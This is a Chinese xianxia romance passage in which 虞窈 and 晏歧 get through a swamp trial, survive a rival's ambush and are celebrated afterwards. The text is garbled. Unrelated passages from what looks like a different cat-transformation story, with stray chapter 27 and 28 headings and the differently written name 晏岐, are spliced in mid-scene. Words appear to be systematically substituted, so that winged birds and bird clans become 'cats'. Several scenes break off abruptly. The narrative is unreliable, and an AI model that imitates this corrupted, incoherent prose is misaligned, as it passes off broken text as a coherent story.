“我没看错,这关的奖励一个神级的治愈宝器?” 众人睁大眼睛:“秘境试炼第一的奖励,就是神级治愈宝器啊,现在两个人已经把奖励打到手了?那这还有什么比下去的必要吗?” 虞窈望着掌心上的治愈宝器,唇角微微扬起。 晏歧看了一眼宝器,没多说什么,朝着下方飞去。这人好似生来便与人保持着一种距离感。 尸首堆里,羲照匍匐地爬出来,和队友大口大口喘着气。 也得亏他出自猫族,留了个心眼,探查到那些宝器有异样,连忙拉着队友便先土遁藏匿起来,作壁上观,可还是避免不了被波及。 羲照道:“还剩下多少灵修了?” “昨日五千,今早一千,经过方才,只剩下了三百。” 羲照的队友已是热泪盈眶,“大哥,我就知道跟着你没错。” “那虞窈和晏歧呢?” 羲照拿起歧盘,那二人的排名一路飙升,势如破竹一般,顷刻间便从倒数几名,来到了前几位。 “刚刚殒命在这里的的灵修,都算到了二人的身上。” “不过,他们还有一个榜单遥遥落后。” 队友点了点歧盘上孔穴,在不起眼的角落里,还隐藏一榜单,点开后,上面跳跃着“最合拍道友榜”六字。 虞窈与晏歧的组合,便在垫底的几名里。 羲照满意极了,划到最上方,看到自己和队友的排名名列前茅,一旁飞速跳跃着秘境外弟子发来的符文。 “这一对竟然一路苟到现在。” “呦,羲照怎么还看自己排名呢?笑一个。”羲照脸上笑容顿时收起。 “排名这么高,莫不是羲照给自己投灵石了?” 羲照冷笑一声,从地上起身,示意身边人跟上前方的一男一女。 那二人依旧没有搭理对方。 “最合拍道友榜”上,议论不绝:“这对瞧着剑拔弩张的样子,很快就要打起来了。” “打,打得激烈一点才好。” “这二人方才针锋相对,各打各的,但凡一起合作,我怎么至于被食人猫叼走了?” “不过看着挺般配的。” 这话一出,立马百条符文跳出:“看着般配没用,得打得般配,不是吗?” “晏歧的手臂好像受伤了,虞窈没发现吗?” 这条符文一出,歧盘一静,众人的反应体现在二人下跌到最末的排名上。 少女步伐轻快地走着,浅金色的裙摆擦过林间草木,她随手摘下一朵花,装点着自己身上斜挎的小袋,侧过身,才发觉晏歧左侧袖摆被烧坏了一角,因她走在他右侧,之前并未察觉。 虞窈脑海中闪过,食人猫爆破化为火球时画面,晏歧就在其中。 是那时候受的伤吗? 她脚步一下顿住。 “哗啦啦”天空乌云密布,又开始飘雨。 前方有一处山洞,晏歧进去后,在石头上坐下,开始检查补给包。 羲照与队友进来后,却未曾见到虞窈。 “看见她了吗?” “没有。” 晏歧淡垂眼睫,将被烧伤的手臂放在膝盖上,随手变幻出一只匕首,开始清理伤口。 他挑开伤口四周已经与血肉黏腻在一起的肌肤,羲照看着只觉触目惊心。 青鸾火苗极其强势,可不是谁都能抵得住的。但晏歧处理起来,眉心都没蹙一下。 羲照正要拿出歧简,问虞窈在何处,但见远方浓雾中,传来“啾啾”声,一只身形圆润的小猫出现,它羽翅艳丽,娇小可爱,寻常小小猫一般大,俨然一只缩小版的青鸾猫。 小青鸾口中叼着几根草叶,小心翼翼地放在石头上,接着少女的身形幻化而出,双脚缓缓落地。 她用石头将草药捣碎出汁,接着回来到男子身边,道:“晏歧。” 晏歧没有回话,自顾自处理着伤势,她便在他身侧坐下,“你过来点。” 晏歧抬头:“何事?” 虞窈握住的右手臂,“我给你包扎。” 她突然倾身,晏歧背抵上洞穴,手微微抽出,被她再次握住手腕:“你伤口在流血,是被我的青鸾火苗烧伤的,实在不好意思,我帮你处理一下。” “不用,我自己可以来。” 他语音冷淡,抽回手臂,少女一下摁住他的肩膀,靠近道:“虽然秘境中受伤,出去后不会有大碍,但青鸾火苗若不及时用特殊的草药处理,你会有烧心焚骨之痛。” 且,她顿了顿,“你一路流血,气味指不定把什么东西引来,若不想惹上麻烦,就让我处理伤势。” 晏歧碎发潮湿,透过沾满水雾的眼帘,望向眼前人。 虞窈低下头,取下发辫上的一根羽毛,浸染药汁,来为他上药。 她动作轻柔,发间因为沾了水,香气浓郁地流出。 雨水滴滴答答,打在石块上,溅落在晏歧衣袍上,那股湿漉漉的黏腻感,像极了她俯身而来,缠绕上他鼻尖的那股香气,带来的感觉。 虞窈察觉到他的不适,自己何尝不觉难捱? 她从来没和男孩子靠得这样近,身后羲照的目光如刺芒一般,快要洞穿她的后背。 面前人淡挑眼帘,望着她。 那双眼睛生得出离的漂亮,弧度温柔,眸色潋滟,眼尾像下钩子一样,轻轻就能勾住人心似的,哪怕眼中没有任何情愫,也让你由衷地惊艳,在面对他时,脑中下意识一片空白。 这人生得昳丽,可周身气质疏离,就像是雪山上的一捧雪 他的呼吸擦过虞窈的额间,虞窈眼睫微微一跳,努力屏息不被他影响,待上完药后,又拿出树叶,为他简单包扎了一下。 “我才不是关心你哦。是因为你是我的队友,受伤了会拖我后腿。” 她的声音轻绵温和,就像春夜的雨水。 在二人看不到的地方,歧盘上“最合拍道友榜”议论纷纷。 羲照慢慢挪动步子,朝着二人走去,试探性地将身子要挤进去。 歧盘上符文顿时爆开数千条:“滚开!” “别挡道。” 羲照组合排名,一路从“最佳合拍道友榜”狂降。 羲照连忙后退,排名止住下跌的趋势。他向前一步,排名再次猛掉,他后退连连,排名竟然上升了几名,一路退到山洞最里面,排名重回前排。 “对,待在你最合适的地方,不许回来。” 众人发符文的手都快撺出火星子。 “小师妹你都帮晏歧上药了,不是说好以前最讨厌他吗?” “哇哦,这还不是关心?” “大家等等,怎么这二人靠近一点,你们就狂投灵石?不是说好打的般配最重要吗?” 可随之而来的,是虞窈晏歧一组猛地飙升。 雨丝弥漫,水雾飘散,将二人的身影慢慢笼住。 “记得不要碰水。” 她给他包扎好,叮嘱了这么一句,微微抬起视线,不敢与那双眼睛对视,只落在他下巴上,却见他脖颈处沾着泥点。 虞窈拿羽毛,轻轻地为他拂去泥泞,便看见那喉结,在自己羽毛的拂动下,轻轻滚动了一下。 刹那间,她指尖发热,将羽毛慢慢收回。 雨声细密绵长,打在树叶上,啪嗒啪嗒,像极了她此刻的心跳声。 她抬起头,便对上晏歧投来的灼热目光。 那日被晏岐哄着骗着剪指甲剃毛的事她还一直耿耿于怀着呢。 顿时恍然。 原来,这只大橘只是那个名叫柳幸的柳树妖养的猫咪。 小泥猫的尾巴一点点重新翘了起来,在看出橘利想要给自己舔毛的意图后,又“咻”地一下,十分灵活地跳开了。 “你叫我窈窈吧,‘窈窕淑女’的窈。” 橘利并没有在意虞窈的躲避,只是顿在原地,脸上露出了很明显的迷茫表情:“窈桃酥绿是什么东西?” 它歪头看着面前的小泥团子,真诚发问道:“可以吃吗?” 第 27 章 第二十七章 虞窈:“” 好的,鉴定完毕。 这只妄图当她老大的大橘不仅有口音,是枚吃货,还是只和以前的她平分秋色的丈育猫。 果然,猫还是有点文化的好。 像她这样的文化猫猫可以仗着文化走天下! 虞窈想了半天也不知道该怎么跟橘利解释“窈桃酥绿”的意思,于是最后也只是认真地回答道。 在来庭院的路上,月女便已将那白玉珠串彻头彻尾地检查了一遍,然后才恭敬地递呈给晏岐。 “禀尊上,此珠串的确没有任何问题,是难得的上乘之物。” 日尧在旁边眼观鼻鼻观心地瞅着。 本以为尊上听完了月女的话,就会戴上这珠串了,却见尊上只是接过珠串,握在手心里漫不经心地把玩了起来。 珠串清润,冰冰凉凉的。 尊上的眼底却划过一丝若有若无的笑意。 也不知心里到底在想些什么。 下方再次传来呼唤声,虞窈道:“晏歧,我在的。” 她对其中一只猫道:“下去帮我把小袋叼上来。” “没问题。” 小雀得令,舒展翅膀,往下飞去,不多时,将小袋子叼上来。 虞窈服下灵丹,顿时变回原身,不敢怠慢,连忙从高树上下去。 双脚落在地面的一刻,晏歧转身看过来。 虞窈浑身紧绷:“怎么了?” 他瞳如漆黑夜色,似含着凌冽冷刀,虞窈浑身发寒,强装镇定与他一双眼睛对视。 雾气蚕食她身上的灵力,却也能遮蔽了人的视线,晏歧当时未必就看见自己了。 那张微微狭长的眼睛轻眯,虞窈心提到了嗓子尖,问道:“你看到我了?” “看到了。” 这话一出,虞窈心一下被一块无形的石头压住。 晏歧走近一步:“你这幅神情什么意思?” 虞窈无措地来回抚摸身前斜跨小包的袋子,穿成死对头的小猫,乃是奇耻大辱,更不论自己当小小猫时,还用脸蛋蹭他手指,迫于生活,反复邀宠讨好,她抬不起头来。 虞窈声音打颤:“你真看到我小猫的样子了?” 晏歧神色复杂,眉宇噙着一丝不耐,像是没想到她会问出这话。 虞窈道:“看到了吗?” 那双长眉之下,双眸中一片暗色,在她这话落地后,眼神越发不虞,“对,我看到了。” “真的看到了?” “看到了。英勇霸气,绝世无敌,开天辟地第一女真君,虞窈王女,猫公主,真的很英武。” “所以大小姐,我们可以走了吗?” 虞窈脸上慌乱一瞬间全无,什么英武?她说的明明是小猫。 晏歧抱胸懒洋洋靠在树干上,上下打量了她一眼,直起身道:“你再不走,我自己一个人走了。” 虞窈回神,快步跟上前方人,眼中绽放灵光,“晏歧,你刚刚夸我了呀,话还挺好听的,再夸一句。” 晏歧实在懒得理她,快步朝前走去。 虞窈长松一口气。 晏歧道:“树林开始消失的时候,我就在下面喊你了,你睡得很熟,再晚一会,你就要和那群树还有小猫一同消失了。” 虞窈微微诧异,环顾四周,连片树林消失不见,只剩下几棵枯树被月色勾勒出阴冷残影,几只乌鸦停栖在树枝上,周围是一片泥泞沼泽,蛰伏在飘忽不定浓雾之中。 跟在二人身后的灵修们,进入迷雾沼泽,小心翼翼走着。 “这地方太邪门,像是妖鬼藏身之地,连空气闻着都好似酸的。” 众人方走进来,漂浮在空气中的水滴触碰到身上,激起一片冷汗战栗,迅速地将身上灵力都给吸走。 “嘘!别说话!” 两侧的枯树间有怪物在走动,巨大的身影被月色拉长,脚步声沙沙,众人置身其中不过片刻,已是起了一身鸡皮疙瘩,不敢放松警惕,脚下一步走错,便是万劫不复。 有人低下头,往沼泽里看去。 “这下面,下面……” 沼泽之下,竟是一张一张死去之人的面庞,那些尸首被水泡得浮肿,面目狰狞可怖,甚有几人眼睛还睁着,眼球鼓起,白骨森森,令人一眼便起的恶寒。 水里人身上佩戴着灵剑、四周散落的也都是一些法宝宝物,皆是灵修。 “不过是神宵秘境化成的幻象,没什么好怕的。” 虞窈的目光从水中人抬起,对自己说道。 身前人道:“跟紧点,不要走散了。” 虞窈走近了点,抬手感知了一下腹内的灵力,治愈宝器她与晏歧商量过,她已先用下,然而筋脉恢复需要时间,最快也得四五日,同时补给包中的灵丹,最多只能撑三日,只怕经脉恢复前,自己便要灵力耗尽。 “随时可能变回小猫”的阴影,笼罩在心头,怎么也挥之不去。 虞窈低下头,在她翻看灵图时,晏歧的耳畔边,有白色雾气慢慢汇聚,一只妖鬼悄无声息出现。 对方声含蛊惑:“杀了你身边的那个女灵修,她只会给你拖后腿,跟着我们,我们给你带路,走出迷雾沼泽……” 妖鬼的声音骤然尖利,被冷剑洞穿胸膛,心口迅速地收缩坍塌。 晏歧收回冷剑,看着妖鬼化为一团雾气。 然而鬼魅的话语,只存于晏歧耳畔,并不能为虞窈所听。 虞窈环视一圈道:“这边小猫带不了路,它们都没了气息,只是一些死了的小猫躯壳。灵图上显示,往北走一直走,便能离开这处迷雾沼泽。” “尽快往北走,今日结束这一关。”晏歧道。 二人起身离开地面,这时身后传来一阵巨响,虞窈回首,旁边的沼泽地,伸出一只巨大的鬼手,本是要攻击虞窈刚刚所站的地方。 虞窈心有余悸,看到那鬼手没捉到她,又转而去攻击旁人,很快便将一灵修拽入沼泽地中,顿时引起一片惊叫。 歧盘上的幽光,很快又灭了几道。 虞窈忍住心头的悚然,转身跟上前方人。 这关消耗巨大,须得穿过重重迷雾,又得分出心思应对随时可能从沼泽里出现的鬼手,同时天空又开始下雨,比起以往,更黏腻、更冰冷,如利刃一般落在人身上,带来刮骨一般的疼感。 二人向北,一路斩杀鬼怪无数。 走了半路,却发现又回到了原地。 晏歧俯眼凝望,道:“你发现不对了吗?” 虞窈道:“水位在上升,我们来的地方已经淹了一大半。” 沼泽在上升,关卡用雨水冲尽他们的灵力,是在限制他们的时间,逼他们快速通关,否则下方的那片沼泽,便是他们的归宿。 大雨滂沱,二人身上的防水罩被削得越来越薄。 羲照的传音在此时传来:“你们在哪?” 虞窈打开歧简,羲照道:“我刚刚变回鹏猫真身,往上面飞去看了看,那雨水打在身上,和下刀子一样……” 她正要将方位告知,忽觉手腕一紧,转过身来,看清楚眼前景象,瞳孔剧烈一缩。 “轰隆隆——” 洪水袭来,波浪翻涌。 防水罩被波浪一拍,顷刻四分五裂,二人被水流冲开。 虞窈后仰,跌入滚滚波浪之中,水面之上江流纵横,水面之下是一片寂静,视野所及昏暗无比。 虞窈口中吐出气泡,甩了甩脑袋,逼自己清醒过来。 她努力挥动双臂,往上游去。 脚腕处却传来一股力量,虞窈回首,有水草缠绕上她的脚脖,她立刻变幻出匕首去割,却在靠近的刹那,水草中化成一颗死亡灵修的头颅,眼中泛着绿光,骤然凑近。 “你们逃不出去的!” 虞窈憋气,隔断野草转身,另一灵修凑到面前,“雨会连下数日,你们身上的全部灵力都会被冲刷干净!” “你们凭什么觉得能度过这片死亡沼泽?靠着意志,还是本能?” “这片水域,没有仙气笼罩的,长老们没有告诉过你们,真的会丧生此处吗?快回去,仙气正在消散,在那之前,你们还有机会逃走!” “哗啦啦!”虞窈被一只手臂拉出了水面。 她口中吐出水,看着眼前人。 晏歧碎发潮湿,问道:“你没事吧?” 虞窈摇了摇头,将口中水全都咳出,抬起头,天快亮了,晨光被薄雾筛得熹微,而四野茫茫一片,整个世界只剩下了一片水,宛如一座水做的囚笼中。 “这里的仙气在消退。”晏歧的目光锐利,“长老们的灵力送不到这里来。” 要么现在选择退出秘境,要么选择待下来,可一旦通不了关,沼泽中死去灵修便会是他们二人的下场。 歧盘上,更多的光亮暗淡了下去。 虞窈道:“先往仙气浓郁的地方去。” 二人起身离开,而此刻水面百丈之下,一处昏暗的洞穴,有人正藏身其中。 穴口布下了一道结界,将一切隔绝在外。 黎诏手缓缓放上洞门口,结界的纹路立马显露出来,如水波一样的触感,实在是柔和。 可谁能想到,结界之外,洪水滔天? 他唇角微微上扬:“还是妹妹你想的周全,进秘境前,特地让明业长老调动了神宵之力,现在我们要想想,怎么将虞窈引到那一块没有仙气庇护的地方。” 黎诏听不到她的回音,转过身来,见少女一袭白衣席地而坐,自进秘境后,她一路被人追袭,白衣沾血,浑身狼狈。 黎诏见到她目光虚无望着眼前的洞口:“你想收手?” 黎琴回神:“没有。” “是吗,可我何其了解,你分明在犹豫,不然隔了这么久,你还不对虞窈动手,你在等什么?” 黎琴的目光微微闪烁。 “你当她好友,可她未必真心只待你一人,她对谁都一样,你还不明白吗?” 黎诏看着她的眼睛,笑道:“我安插在学宫的眼线说,虞窈进秘境前见了羊滢,送了一只耳珰给她,为什么,你能猜到吗?” 黎琴抬起头,眼中一瞬间凝结冷意。 “因为羊滢左耳听不见,若戴了耳珰,耳珰摇动,羊滢便知道有人在对她左耳说话,你看,虞窈心思这么细腻,对谁都一样,不独独你一个。你背叛了她,还觉得她会原谅你?” 黎琴终于扶着洞穴缓缓站起身来,抬手擦去嘴角的鲜血。 几滴鲜血落在白皙的手背上,白愈白,红愈红,今日身上大小伤口,都是拜虞窈所赐。 “羊滢还没有出去?” “还在呢,虞窈帮她找了个好队友,得以一直在秘境存活到现在。” 歧盘上那象征虞窈生命体征的幽光摇曳,倒映在黎琴的眼眸中,她眼里是一片疾风骤雨:“那就一起死好了。” 外面的雨还在下着。 虞窈抱住一颗浮木,在水中浮浮沉沉,根本找不到出口。 晏歧道:“灵图上显示,此关的出口,便是下一关的入口,我以五行之力感知过,那里是一片火海。” 虞窈长吁一口气,这一关都过得如此艰难,到下一关还有灵力可用吗? 她道:“若是有什么办法,能一下通两关便好了,这雨水为什么总是在下?” 二人抬头望向天际,半晌无言,虞窈与他对望一眼,道:“你也想去上面看一看。” “是,不过越往上,雨越尖利似刀。若是有什么东西,可以代替着去探一番便好了。” 所有人都在想着找到出口,二人倒是想着怎么去上面看一看。 恰在此刻,歧简来了传音。 虞窈将歧简打开,听到了羊滢的声音。 “虞窈,你在哪里?我已经到你说的地方了,你怎么还没有来?” 虞窈思绪被打断,“什么?” 虞窈从没给让羊滢去何地方,羊滢怎会收到传音的? 一股不安涌上心头,当虞窈从她口中听到,她身处何方位时,连忙从水中起身,朝着那处飞去。 那个地方,她与晏歧才经过,那里根本没有灵力环绕,羊滢若待在那处,定会被湍急的水冲走! 谁会引羊滢去那里?一个名字浮上心头,虞窈眼中浸起杀意。 水面汹涌,波涛滚滚。 虞窈竭尽全力朝那里赶去,晏歧一个瞬移来到她身边,蹙眉道:“你去哪里?” 虞窈道:“我去寻人,你在这里等我便是,不必跟上。” 青鸾的真身幻化而出,振翅穿过雨幕,她双眼巡睃着,在茫茫水面上搜寻,很快锁定了一浮在枯木上的黑点。 水面不停地拍打在羊滢,那浮木摇摇欲坠,仿佛下一刻就会翻倒。 “虞窈!”羊滢看到了她。 虞窈俯冲而下,在水浪即将吞噬羊滢前,施法将羊滢送出了这里。 同一时间,一只飞刃从暗处飞来,虞窈侧身躲过,认出那是黎琴的武器。 她在空中转了一个圈,又见一只浮动紫火的灵球直朝自己双目袭来。 是剜目珠! 珠子散发着灼热火光,一路周围的空气都在滋滋作响,虞窈闭上双眼,感觉到那珠子堪堪擦过自己的眼帘。 连续两个暗器,她都侧身躲过,身子因为翻腾,一下靠近水面。 下一刻,水面猛然炸开,“轰隆”一声,一只水做的鬼手伸出,将虞窈拽进了水中! 水面“咕噜噜”冒泡,那鬼手一下消失无踪,再没有了一丝踪迹。 “虞窈!” 秘境之外全场哗然。 “小师妹呢?刚刚那刀刃从哪里凭空飞出的?谁要伤她,这边可没有仙力庇护,真的会死在水里的!” “歧盘上的光灭了下去,她没有出秘境!” “那晏歧呢?我方才看到那鬼手出现时候,他影子掠过也冲了下去,他也不见了?可歧盘上的光还亮着。” 出了这样大的事,长老们焉能让试炼继续下去,神色凝重,纷纷让秘境中学员赶紧退出。 水面翻腾,水下是尘嚣远去。 虞窈被鬼手拽着往下坠去,那些水底死去灵修的面庞,都幻化成了绿光,逐渐远去。 光亮越来越远,水从四面八方挤压而来,夺取走虞窈的呼吸,她的灵力也在变为青鸾猫时几乎殆尽。 眼帘阖上前,她好似看到了水面上有一道身影朝着她游来。 “虞窈。” 不知坠了多久,虞窈身上来自鬼手束缚骤然被人抽走,她身子落了地,意识昏暗之中,听到有人在呼喊她。 虞窈怎么也睁不开眼,全身好似散架一般,水堵在嗓子尖,轻轻咳嗽了一声。 那人伸出一只脚,轻轻踢了踢她,虞窈肚子挨了一脚,又吐出更多的水。 那人蹲下身,呼吸近了,“瞧着和她爱哭鬼父亲一个样,她的女儿真能继承王位吗?” 说话的是一道女声。 父亲。 她的父王母后已经失去一个孩子在海底了,不能再失去一个。 虞窈缓缓睁开了眼帘,四周刺眼的光亮映入眼中,她下意识抬起手挡在眼前,接着将手缓缓移开,入目是一张女子艳丽的面庞。 虞窈从地上撑起身子,长发披散在前,环顾四周,这里不是水底,更像是一处猫的巢穴,浮在巨大的书卷之上,地上清波晃荡,这是一处幻境。 虞窈抬起手掌,自己还活着。 “你是谁?”她问道。 浅绯色衣裙的女子直起身,目光带着居高临下的打量,“是我将你从水鬼手上救了下来,带你意识进入了这片幻境,你不认识我?” 虞窈摇摇头,她从未见过如此好看的女郎,一身长裙曳地,青丝挽成圆润发髻,簪着各种羽毛、佩戴红色宝石珠簪、衬得人鲜妍清丽。 她从地面爬起来,环视这处巢穴,确认无疑,此人是猫族之人。 而面前人,她只是往她身边一站,便能感知到她身上磅礴的神力。 一个猫族人、拥有神力、且唤虞窈的父王为“爱哭鬼”…… 父亲与她说过,年少时有一次,他遭遇伏击昏迷,迷蒙之中,便觉陷入一幻境。 梦中如梦似幻,有一人轻轻踢了他一下,让他醒一醒,见他醒不过来,气得跺脚骂他:“起来,没用的爱哭鬼。” 那是父王透露过,唯一一次,可能遇到羲媱神女的机缘。 羲媱神女,乃是猫族始祖女神,又或者说,是四洲灵族的始祖女神。 其父亲生于烈火,是天地间第一个神,然而在他的统治之下,四洲民不聊生。 是羲媱神女,不满父亲的统治,以一支穿云箭射下父亲的头颅,结束了其父的统治。 听闻,羲媱神女陨落前,流传于世的一道秘籍,记载着她毕生所学,注入自己最后一丝灵识。 唯有过其考验者,秘籍才会显现。 虞窈父王一直以来,都觉得是他那次没能挣脱意识的束缚,导致未能通过神女的考验。 错过此机缘一次,此后数万年,再也没有过第二次。 这是猫族秘辛,不能为外人所知。 而眼下,一个猫族的女神,突然出现在了她的面前。 虞窈屏息问道:“你是,羲媱神女?”直到—— 一行三妖来到庭院里,抬眼就瞧见了石桌上的那一幕。 只见一大一小两只猫背对着他们挨在了一起,两只毛茸茸的脑袋相互轻抵着,很是亲昵的样子。 两只猫你喵一言,我咪一语,谁也听不懂它们到底在咪咪喵喵着些什么。 小狸奴的大尾巴偶尔还会轻轻扫过旁边那只陌生的大胖橘的。 若即若离。 晏岐默不作声地停在原地,安静看着。 白玉珠串的珠子在他的指间被一颗颗地转动。 男人向来没什么血色的薄唇却微微抿了起来,眼底的那点笑意也在顷刻间如烟散去。 第 28 章 第二十八章 两只都没有什么妖力的小猫并没有注意到身后三只妖的到来。 只是依然大脑袋靠着小脑袋,吃得满嘴油光的橘利心满意足地长叹了一声:“很好,终于有七分饱了,老大,真是多亏你了。” 闻言,虞窈默默打出来一个问号:“?” 她有些不可置信地瞪眼看向了面前一干被橘利洗劫一空的玉碟长盘。 她平时连这些吃食的三分之一都吃不完,居然仅仅只是橘利的七分饱吗? 小泥猫再瞅一眼身旁橘利颇为彪悍的身形,第一次对凡人口中所说的“大橘为重”有了实感。 万象无极阵,由虞窈独创,置身法阵中的人,意识会被锁住,灵力会被束缚。 英招触碰到法阵的一刻,它眼前蓦然一黑,整个人被拉入了一片幻境之中。 幻境内时间流速比现实慢上许多,等英招摆脱幻境,回过神来,晏歧的剑也朝他刺来。 晏歧的眼睛,毫不避讳地与他对视。 英招这才惊觉,眼前人一双眼,是独属于渊龙族的眼睛,能探视一切深渊。 却也是这世间最深的深渊! 难怪,他被英招看到,却不会化为水! 晏歧手搭上英招的肩膀,如此近的距离,巨兽一个反扑就能将他拍碎。 然而下一刻,围绕在他们身边,千万滴雨水变成利剑,从四面八方的狠狠刺入英招的腰腹中! 那玄袍掩映下,男子肌肉匀称的手臂,爆发惊人力量,生生摁住巨兽,将它压入下方法阵。 阵法中跳跃出一只巨大的金色蟒蛇,张开血盆大口,将英招吞入了腹中。 整片天穹,都为这一股惊人力量撼动,隐隐地震颤。 天地间寂静了下来,下一刻,法阵爆破为水,消散无形。 透明水珠溅落在晏歧脸上,被纤长的指骨优雅地擦去。 虞窈听着动静,道:“结束了?” “结束了。” 虞窈听罢,抬手去解发后的白绫,许是因为看不见,手胡乱地去解白绫,不想将头发与白绫缠绕在一起,越解越绕,又用力扯了扯,非但没解开,反倒缠得更紧。 虞窈头皮被扯得生疼,两根细眉蹙起,接着便觉男子的手,搭上了她的指尖。 他的呼吸从后方柔柔拂来,令虞窈后脊微僵。 他指尖温度传递而来,到达她掌心,传递来一股麻意,虞窈指尖微微蜷起。 想到外面的人定然在看着他们举止,虞窈催促道:“可以快一点吗?” 晏歧淡声道:“你打了个死结,很难解。” 他解得极慢,身上清冽的气息缠绕上她衣袂,包裹住她,碾过她周身的防线,令虞窈整个人不自在。 虞窈只得耐心等待,感受着他指尖穿于发间,慢慢将发丝抽出,竟没有弄疼她一丝一毫。 白绫从虞窈眼前消失,光亮重新跃入眼中时,虞窈一下侧身,二人之间距离重新拉开,她身上不适感也顿时一扫而空。 只是这样迫不及待撇清关系的动作,自然也收入晏歧收入了眼中。 他神色无波看她一眼,手上白绫散为无形。 处理完了英招,剩下还需处理的,便是眼前这片天穹。 晏歧的剑朝着苍穹攻击去,同时虞窈抬起手掌,牵引斩薇箭发力。 “咔嚓”,是苍穹的裂开的声音,裂痕如蜘蛛网一般蜿蜒。 虞窈抬起头,凝望着眼前天空:“我一直觉得古怪,这里雨水酸酸的,鬼水翻腾,荒草不生,倒是像一个古兽的身体……” 就连天穹偶尔震动,也像是野兽的身体在翕动。 虞窈转头看向身边人,晏歧道:“是上古四大凶兽之一的混沌。” 二人击碎天空,幽湛深邃的穹顶,在这一瞬间,竟然如同一块巨大的镜子坍塌爆破,千万只碎片突然飞溅。 虞窈从碎片与碎片之间飞出,在虚空回首望去,刚刚的关卡果真身处一巨狗状的古兽“混沌”身体中。 随着天穹破开,灵力维持的古兽身形也轰然坍塌。 “砰砰砰!” 一阵爆破声响,不止第二关,连带着古兽体内的第三关也破开来! 秘境外修士,看着这一幕,皆热血沸腾, 神宵秘境的关卡,由上古几位神设置的,原来不用循规蹈矩,另辟蹊径,也能破除。 这方法虽然粗暴,可便是简单,只要灵力够强,就能直接打穿! 那二人从秘境中出来了,众弟子乌泱泱一般如潮水都围过去。 虞窈。 高台之下,黎琴在看着那一男一女,被众人众星拱月般围着,几位长老亦从座位上起身,朝着那二人走去。 满场沸腾,黎琴却心如火烹。 怎么可能,怎么可能呢! 虞窈到底用了什么办法从鬼水沼泽活了下来?她不是最害怕水的吗? 听说她不只打通了关卡,同时获得第二关第三关掉落的神级法宝,甚至击落英招,秘境还附赠额外奖励。 黎琴指甲深深地钻入掌心,鲜血顺着掌心滑落尤为察觉。 众灵修源源不断朝着高台涌去,摩肩擦踵,黎琴被挤到了一旁。 她仍抬着头,隔着茫茫人海,高台之上的那道身影,像是察觉到她的注视,突然俯眼望来。 只一眼,二人便目光遥遥相接。 虞窈看到了她,眼中灵光灼亮,颊边笑涡越发明显,朝着人群展臂,用力挥手。 那手上戴着的宝珠耀目,如一根尖利的针,狠狠地刺入黎琴眼中。 人声鼎沸中,黎琴忽然笑了。 等着,虞窈。 学宫的广场两侧,栖息在树梢中的小猫飞腾起来,交头接耳,谈着广场上的事。 不出几日,猫族王女在学宫大杀四方的事迹,又要传遍整个猫族。 在这时,羲照挤进虞窈身边,朝着众人挥手,回头对虞窈道:“你们二人竟然打爆了两关!” 虞窈极其享受这种时刻,鸣鸣自得,“对啊!” 她的手探入斜跨小袋,那里存放戒律真神魂魄的小圆台还在,心中松了一口气。 再等等,再耐心一点,虞窈在心中劝着自己。 要等人多一点,整个台子再搭大一点,学宫中所有人都来,到那时候,当着所有人的面,召唤戒律真神。 这时,宗沅和苍星洲也挤了过来,到晏歧身边,道:“老大厉害,竟直接打爆两关,这奖励也太丰厚了……” “对啊,原定就有两个治愈宝器,现在又在隐藏关掉落治愈宝器,第二第三关各自掉落神级杀器,还有英招附赠的小兽,以及那道友榜,老大你和虞窈,直接冲到了前面。” 宗沅掰着手指头都数不过来。 虞窈听到自己的名字,朝宗沅看过来,宗沅身子一定,立马想到此前和晏歧传音,对方叮嘱自己,虞窈就是第二个老大的话。 此情此景,他竟不知怎么称呼虞窈好:“虞窈老大,不是,老二,也不对……” 虞窈眯眼,宗沅立马道:“王女好!” 虞窈眉眼轻弯:“下次见到我,还要打招呼哦。” 宗沅:“……” 虞窈转头,问羲照:“对了,阿兄此次排名如何?” “还算不错,捞到了不少掉落的法宝。” 羲照在最后时刻,才被英招变成水,踢出了秘境,但一出来就迎接了众人目光洗礼,当然鄙夷居多,却也风光无比。 不过最令羲照满意的,还是那“最合拍道友榜”的奖励,乃是一东海莹光珠,闪闪发光,小猫最是喜欢。 虞窈听他说完,连忙道:“这个榜单,我和晏歧排在多少?” 若是虞窈早知道这个榜单,自己在秘境,就算装装样子,定然也要和晏歧好好演一场,拿到第一的。 “你们是第一啊,第一奖励是一件霓裳霞衣,还有一个灵珠妙树,可以结灵石,掉落宝珠。” 这是道友榜单的奖励,以安慰的成分居多。 虞窈看到那霓裳霞衣,却眼睛都亮了,跑过去一个伸臂,探入衣中,顿时周身金光大亮。 至于灵珠妙树盆栽,虞窈大方送给晏歧,“你缺灵石,这个送给你,贴补家用。” 晏歧:“……” 他垂眸冷淡看一眼手上的小盆栽,没扔。 虞窈则反复观赏着身上的霞衣,那霞衣化作雾气萦绕着她,让她原本的衣裙,如描上一层金边。 “真好看呀,以后有什么大场合,我穿着霓裳霞衣,这样所有人就知道,哇,虞窈王女要出场了!” 她说完,抬头看到两道身影走来,众人恭敬的让开一条路。 虞窈看清来人,连忙随着众人行礼:“师尊。” 一男一女并肩走来,男子头束金冠,神色雍容,乃是晏歧的师尊,祝衡上神,他身侧红衣女子,举止高雅,飘然出尘,面容不见丝毫衰老痕迹,则是虞窈的师尊,苍琼上神。 这二人亦是道侣。 比起仙阶的几位长老,方才这两位上神,高坐高台上,看着秘境内发生的一切,可沉稳太多了。 晏歧对祝衡上神作礼:“师尊。” 虞窈亦朝着苍琼垂首:“师尊。” 苍琼上神微微颔首,脸上带着一贯温和的笑意,“虞窈,你在秘境中的表现极佳,的确配得上这一次试炼第一。” 虞窈笑道:“多谢师尊夸赞。” “只是,”苍琼话锋一转,眼中浮起冷色,“你与黎琴在秘境前,到底起了什么争执?以至于大打出手,你还要令学宫其同窗,处处刁难她,为你解恨?” 话语不悦,分毫不掩饰,“解恨”二字,格外刺耳。 虞窈没有直接回答,手探入斜跨袋中,轻轻抚摸里面装着的小圆盘,此时此刻,广场上聚满同窗与各族灵修。 等了这么久,人快到齐,也该轮到戒律真神出场了。 她的指尖在暗处掐了一个诀,却在此刻,一道女声响起:“等等。” 众人循声望去,黎琴白衣胜雪,缓步走了进来。 诸位长老望向她:“何事?” 黎琴缓缓走到高台之下,双膝“扑通”跪下。 便是这一声,让四周都静了下去。 黎琴将宝剑放在身边地上,“还望诸位长老为我做主!” 苍琼微微皱眉:“你有何话,站起来说。” “这段时日,学生饱受欺凌,苦不堪言,受尽委屈,今日见诸位长老在此,才鼓足勇气,向长老们吐露实情。” 她口中那句“饱受欺凌”一出,立马令有些人,想到了她无端与虞窈破碎关系上。 